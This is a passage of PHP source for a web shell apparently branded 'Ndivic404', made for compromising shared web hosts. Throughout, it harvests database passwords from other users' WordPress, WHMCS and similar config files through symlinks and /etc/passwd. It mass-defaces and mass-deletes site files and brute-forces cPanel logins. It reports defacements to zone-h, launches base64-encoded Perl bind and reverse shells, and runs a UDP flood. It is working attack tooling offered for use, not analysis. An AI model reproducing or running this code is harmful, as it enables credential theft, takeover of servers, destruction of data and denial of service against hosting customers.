- @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
- }
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien){
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[1]);
- $ar=trim($ar1[0]);
- return $ar;
- }
- $ffile=fopen('Passwords.txt','a+');
- $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/div_config/";
- $re=$r;
- $confi=array("-Wordpress.txt","-Joomla.txt","-CodeIgniter.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
- $users=file("/etc/passwd");
- foreach($users as $user){
- $str=explode(":",$user);
- $usersss=$str[0];
- foreach($confi as $co){
- $uurl=$re.$usersss.$co;
- $uel=$uurl;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $uel);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
- $result['EXE'] = curl_exec($ch);
- curl_close($ch);
- $uxl=$result['EXE'];
- if($uxl && preg_match('/table_prefix/i',$uxl)){
- $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
- if(!empty($dbp))
- $pass=$dbp."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl)){
- $dbp=entre2v2($uxl,"db_password = '","';");
- if(!empty($dbp))
- $pass=$dbp."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/dsn/i',$uxl)){
- $dbp=entre2v2($uxl,"password = '","';");
- if(!empty($dbp))
- $pass=$dbp."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/dbprefix/i',$uxl)){
- $db=entre2v2($uxl,"password = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/admincpdir/i',$uxl)){
- $db=entre2v2($uxl,"password'] = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/DB_DATABASE/i',$uxl)){
- $db=entre2v2($uxl,"DB_PASSWORD', '","');");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/dbpass/i',$uxl)){
- $db=entre2v2($uxl,"dbpass = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/dbpass/i',$uxl)){
- $db=entre2v2($uxl,"dbpass = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }elseif($uxl && preg_match('/dbpass/i',$uxl)){
- $db=entre2v2($uxl,"dbpass = \"","\";");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }}}
- echo "<center>
- <a href='?dir=$dir/div_config/root/'>Root Server</a>
- <br><a href='?act=view&dir=$dir/div_config&file=Passwords.txt'>Passwords</a>
- <br><a href='?dir=$dir/div_config/'>Configurations</a></center>";
- }else{
- echo "<center>
- <form method='POST' class='form-group'>
- <textarea name='passwd' class='form-control' style='height:50%;'>";
- $file = '/etc/passwd';
- $read = @fopen($file, 'r');
- if ($read){
- $body = @fread($read, @filesize($file));
- echo "".htmlentities($body)."";
- }elseif(!$read){
- $read = @show_source($file) ;
- }elseif(!$read){
- $read = @highlight_file($file);
- }elseif(!$read){
- for($uid=0;$uid<1000;$uid++){
- $ara = posix_getpwuid($uid);
- if (!empty($ara)){
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }print "\n";
- }}}
- flush();
- echo "</textarea><br>
- <input type='submit' name='m' class='btn btn-danger btn-block' value='Start'>
- </form></center>";
- }}}elseif($_GET['do'] == 'symlink') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- $d0mains = @file("/etc/named.conf");
- if($d0mains){
- @mkdir("div_symlink",0777);
- @chdir("div_symlink");
- @exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex ndivic.html
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <table class='table table-bordered table-hover'>
- <tr>
- <th>No</th>
- <th>Domains</th>
- <th>Users</th>
- <th>Symlink</th>
- </tr>";
- $dcount = 1;
- foreach($d0mains as $d0main){
- if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
- echo "<tr><td>" . $dcount . "</td>
- <td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td>
- <td>".$user['name']."</td>
- <td><a href='$full/div_symlink/root/home/".$user['name']."/public_html' target='_blank'>Symlink</a></td></tr>";
- flush();
- $dcount++;}}}
- echo "</table>";
- }else{
- $TEST=@file('/etc/passwd');
- if ($TEST){
- @mkdir("div_symlink",0777);
- @chdir("div_symlink");
- exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex ndivic.html
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);
- @fclose($fp3);
- echo "
- <table class='table table-bordered table-hover'><tr>
- <th>No</th>
- <th>Users</th>
- <th>Symlink</th></tr>";
- $dcount = 1;
- $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
- while(!feof($file)){
- $s = fgets($file);
- $matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
- $matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td>" . $dcount . "</td>
- <td>" . $matches . "</td>";
- echo "<td><a href=$full/div_symlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}fclose($file);
- echo "</table>";}else{if($os != "Windows"){@mkdir("div_symlink",0777);@chdir("div_symlink");@exe("ln -s / root");$file3 = '
- Options Indexes FollowSymLinks
- DirectoryIndex ndivic.html
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <div><h2>Server symlinker</h2>
- <table class='table table-bordered table-hover'><tr>
- <td>ID</td>
- <td>Users</td>
- <td>Symlink</td></tr>";
- $temp = "";$val1 = 0;$val2 = 1000;
- for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
- if ($uid)$temp .= join(':',$uid)."\n";}
- echo '<br>';$temp = trim($temp);$file5 =
- fopen("test.txt","w");
- fputs($file5,$temp);
- fclose($file5);$dcount = 1;$file =
- fopen("test.txt", "r") or exit("Unable to open file!");
- while(!feof($file)){$s = fgets($file);$matches = array();
- $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td>" . $dcount . "</td>
- <td>" . $matches . "</td>";
- echo "<td><a href=$full/div_symlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}
- fclose($file);
- echo "</table></div></center>";unlink("test.txt");
- } else
- echo "<center>Cannot create Symlink</font></center>";
- }}}elseif($_GET['do'] == 'mass_deface') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color='green'>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $div = sabun_massal($dirc,$namafile,$isi_script);
- }}}}}}
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color='green'>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }}}}}}
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- } elseif($_POST['tipe_sabun'] == 'murah') {
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- }} else {
- echo "<form method='post' class='form-group'>
- <label>Tipe Sabun:</label>
- <input type='radio' name='tipe_sabun' value='murah' checked> Biasa <input type='radio' name='tipe_sabun' value='mahal'> Massal<br>
- <label>Folder:</label><br>
- <input type='text' name='d_dir' value='$dir' class='form-control'>
- <label>Filename:</label><br>
- <input type='text' name='d_file' value='index.html' class='form-control'>
- <label>Index File:</label><br>
- <textarea name='script' class='form-control' style='height: 200px;'>Hacked by Ndivic404</textarea><br>
- <input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>
- </form>";
- }} elseif($_GET['do'] == 'mass_delete') {
- function hapus_massal($dir,$namafile) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- if(file_exists("$dir/$namafile")) {
- unlink("$dir/$namafile");
- }} elseif($dirb === '..') {
- if(file_exists("".dirname($dir)."/$namafile")) {
- unlink("".dirname($dir)."/$namafile");
- }} else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- if(file_exists($lokasi)) {
- echo "[<font color='green'>DELETED</font>] $lokasi<br>";
- unlink($lokasi);
- $div = hapus_massal($dirc,$namafile);
- }}}}}}}
- if($_POST['start']) {
- hapus_massal($_POST['d_dir'], $_POST['d_file']);
- } else {
- echo "<form method='post' class='form-group'>
- <label>Folder:</label><br>
- <input type='text' name='d_dir' value='$dir' class='form-control'><br>
- <label>Filename:</label><br>
- <input type='text' name='d_file' value='index.html' class='form-control'><br>
- <input type='submit' name='start' value='Mass Delete' class='btn btn-danger btn-block'>
- </form>";
- }}elseif($_GET['do'] == 'cpanel') {
- if($_POST['crack']) {
- $usercp = explode("\r\n", $_POST['user_cp']);
- $passcp = explode("\r\n", $_POST['pass_cp']);
- $i = 0;
- foreach($usercp as $ucp) {
- foreach($passcp as $pcp) {
- if(@mysql_connect('localhost', $ucp, $pcp)) {
- if($_SESSION[$ucp] && $_SESSION[$pcp]) {
- } else {
- $_SESSION[$ucp] = "1";
- $_SESSION[$pcp] = "1";
- $i++;
- echo "Username (<font color='green'>$ucp</font>) Password (<font color='green'>$pcp</font>)<br>";
- }}}}
- if($i == 0) {
- } else {
- echo "<br>Founded ".$i." Cpanel by <font color='green'>Ndivic404</font>";
- }} else {
- echo "
- <form method='post' class='form-group'>
- <label>USERNAME:</label><br>
- <textarea style='height: 100px;' class='form-control' name='user_cp'>";
- $_usercp = fopen("/etc/passwd","r");
- while($getu = fgets($_usercp)) {
- if($getu == '' || !$_usercp) {
- echo "<font color='red'>Can't read /etc/passwd</font>";
- } else {
- preg_match_all("/(.*?):x:/", $getu, $u);
- foreach($u[1] as $user_cp) {
- if(is_dir("/home/$user_cp/public_html")) {
- echo "$user_cp\n";
- }}}}
- echo "</textarea><br>
- <label>PASSWORD:</label><br>
- <textarea style='height: 100px;' class='form-control' name='pass_cp'>";
- function cp_pass($dir) {
- $pass = "";
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- if(preg_match("/WordPress/", $ambil)) {
- $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/JConfig|joomla/", $ambil)) {
- $pass .= ambilkata($ambil,"password = '","'")."\n";
- } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
- $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
- $pass .= ambilkata($ambil,'password = "','"')."\n";
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
- $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/client/", $ambil)) {
- preg_match("/password=(.*)/", $ambil, $pass1);
- if(preg_match('/"/', $pass1[1])) {
- $pass1[1] = str_replace('"', "", $pass1[1]);
- $pass .= $pass1[1]."\n";
- }}elseif(preg_match("/cc_encryption_hash/", $ambil)) {
- $pass .= ambilkata($ambil,"db_password = '","'")."\n";
- }}echo $pass;}
- $cp_pass = cp_pass($dir);
- echo $cp_pass;
- echo "</textarea><br>
- <input type='submit' name='crack' class='btn btn-danger btn-block' value='Crack'>
- </form>
- <span class='help-block text-center'>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>";
- }}elseif($_GET['do'] == 'mass_helper'){
- echo "<span class='help-block'>Help :<br>1. After you get root, upload your deface source as index.txt <br>2. Run this comand on your CMD / Terminal : <br></span>";
- echo "<blockquote><span class='help-block'>cat /etc/httpd/conf/httpd.conf | grep DocumentRoot>dir.txt<br>";
- echo "cat /etc/httpd/conf/httpd.conf | grep ServerName>dmn.txt</span></blockquote>";
- echo "<form method=POST>
- <div class='form-group'>
- <label>Deface source code : </label>
- <input title='Your index source code' type='text' name='source' value='index.txt' class='form-control'>
- <label>Deface page name : </label>
- <input title='The file name you want to put in all sites' type='text' name='index' value='ndivic.html' class='form-control'>
- <label>List DocumentRoot from httpd.conf : </label><br>
- <input type='text' name='dirs' class='form-control'>
- <label>List ServerName from httpd.conf : </label><br>
- <input type='text' name='sites' class='form-control'><br>
- <input type='submit' value='Mass Helper' name='go' class='btn btn-danger btn-block'>
- </form>
- <br>";
- if($_POST['go']){
- $index = $_POST['index'];
- $source = $_POST['source'];
- $dirs =explode("\n",@dd1(file_get_contents($_POST['dirs'])));
- $sites =explode("\n",@dd2(file_get_contents($_POST['sites'])));
- if($_POST['dirs']){
- $perl = fopen ('mass.txt','w+') or die ("WTF !! , i cannot create files o__O");
- $perl_start = "#!/usr/bin/perl";
- $perl_end = "print\"All Defaced !\";";
- fwrite ($perl,$perl_start."\n\n");
- foreach($dirs as $dir){
- $result = "system(\"cat ".$source." > ".@kill($dir)."/".$index."\");";
- fwrite ($perl, $result."\n");
- flush();
- }
- echo "<label>Perl script </label><a style='text-decoration: none;color:green;' href='mass.txt'>mass.txt</a><br>";
- echo "<span class='help-block'>Now run this mass.txt on ur CMD / Terminal => perl mass.txt </span><br>";
- fwrite ($perl, "\n".$perl_end);
- fclose($perl);
- }
- if($_POST['sites']){
- $sitess = fopen ('sites.txt','w+') or die ("WTF !! , i can't create files o__O");
- $sitess_start = "http://";
- $sitess_end = "/";
- fwrite ($sitess,"");
- foreach($sites as $site){
- $result2 = $sitess_start.@kill($site).$sitess_end.$index;
- fwrite ($sitess, $result2."\n");
- flush();}
- echo "<label>Defaced sites : </label><a style='text-decoration: none;color:green;' href='sites.txt'>sites.txt</a><br>";
- fwrite ($sitess,"");
- fclose($sitess);}}
- function kill($value){ return str_replace(array("\n","\r"),"",$value); }
- function dd1($value){ return str_replace(array("DocumentRoot"," "),"",$value); }
- function dd2($value){ return str_replace(array("ServerName"," "),"",$value); }
- echo "<div class='help-block text-center'>Original script by ReZK2LL</div>";
- }elseif($_GET['do'] == 'zoneh') {
- if($_POST['submit']) {
- $domain = explode("\r\n", $_POST['url']);
- $nick = $_POST['nick'];
- echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
- echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
- function zoneh($url,$nick) {
- $ch = curl_init("http://www.zone-h.com/notify/single");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
- return curl_exec($ch);
- curl_close($ch);
- }
- foreach($domain as $url) {
- $zoneh = zoneh($url,$nick);
- if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
- echo "$url -> <font color='green'>OK</font><br>";
- } else {
- echo "$url -> <font color='red'>ERROR</font><br>";
- }
- }
- } else {
- echo "<form method='post' 'form-group'>
- <b>Defacer</b>: <br>
- <input type='text' name='nick' size='50' value='Ndivic404' class='form-control'>
- <b>Domains</b>: <br>
- <textarea style='height: 150px;' class='form-control' name='url'></textarea><br>
- <input type='submit' name='submit' value='Submit' class='btn btn-danger btn-block'>
- </form>";
- }
- }elseif($_GET['do'] == 'network') {
- echo "<form method='post'>
- <b>Bind Port:</b><br>
- <div class='input-group'>
- <span class='input-group-btn'><input type='button' value='Port:' class='btn btn-default'></span><input type='text' placeholder='port' name='port_bind' value='6969' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='sub_bp' value='>>' class='btn btn-danger'></span>
- </div>
- </form>
- <form method='post'>
- <b>Back Connect:</b><br>
- <div class='input-group'>
- <span class='input-group-btn'><input type='button' value='Server:' class='btn btn-default'></span><input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."' class='form-control'>
- <span class='input-group-btn'><input type='button' value='Port:' class='btn btn-default'></span><input type='text' placeholder='port' name='port_bc' value='6969' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='sub_bc' value='>>' class='btn btn-danger'></span>
- </div>
- </form>";
- $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
- if(isset($_POST['sub_bp'])) {
- $f_bp = fopen("/tmp/bp.pl", "w");
- fwrite($f_bp, base64_decode($bind_port_p));
- fclose($f_bp);
- $port = $_POST['port_bind'];
- $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
- sleep(1);
- echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
- unlink("/tmp/bp.pl");
- }
- $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
- if(isset($_POST['sub_bc'])) {
- $f_bc = fopen("/tmp/bc.pl", "w");
- fwrite($f_bc, base64_decode($back_connect_p));
- fclose($f_bc);
- $ipbc = $_POST['ip_bc'];
- $port = $_POST['port_bc'];
- $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
- sleep(1);
- echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
- unlink("/tmp/bc.pl");
- }}elseif($_GET['do'] == 'adminer') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function adminer($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('adminer.php')) {
- echo "<center><font color='green'><a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a></font></center>";
- } else {
- if(adminer("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php","adminer.php")) {
- echo "<center><font color='green'><a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a></font></center>";
- } else {
- echo "<center><font color='red'>Failed to Create Adminer</font></center>";
- }}}
- elseif($_GET['do'] == 'ddos'){
- echo '<form method="GET" class="form-group">
- <input type="hidden" name="do" value="ddos">
- Host: <br><input type="text" name="host" class="form-control" placeholder="'.gethostbyname($_SERVER['HTTP_HOST']).'"><br>
- Port: <input type="text" name="port" class="form-control" placeholder="80"><br>
- Length (seconds): <br><input type="text" name="time" class="form-control" placeholder="6969"><br>
- <input type="submit" value="Fire" class="btn btn-danger"></form>';
- $host = $_GET['host'];
- $port = $_GET['port'];
- if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
- $packets = 0;
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $exec_time = $_GET['time'];
- $time = time();
- $max_time = $time+$exec_time;
- for($i=0;$i<65000;$i++){
- $out .= 'X';
- }
- while(1){
- $packets++;
- if(time() > $max_time){
- break;
- }
- $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
- if($fp){
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo "DDoS Target ".$host." completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
- }
- }
- elseif($_GET['act'] == 'newfile') {
- if($_POST['new_save_file']) {
- $newfile = htmlspecialchars($_POST['newfile']);
- $fopen = fopen($newfile, "a+");
- if($fopen) {
- $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
- } else {
- $act = "<font color='red'>Permission denied</font>";
- }}
- echo $act;
- echo "<form method='post' class='input-group'>
- <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Filename:</b></button></span>
- <input type='text' name='newfile' value='$dir/newfile.php' class='form-control'>
- <span class='input-group-btn'><input type='submit' name='new_save_file' class='btn btn-danger' value='Submit'></span>
- </form>";
- }elseif($_GET['act'] == 'newfolder') {
- if($_POST['new_save_folder']) {
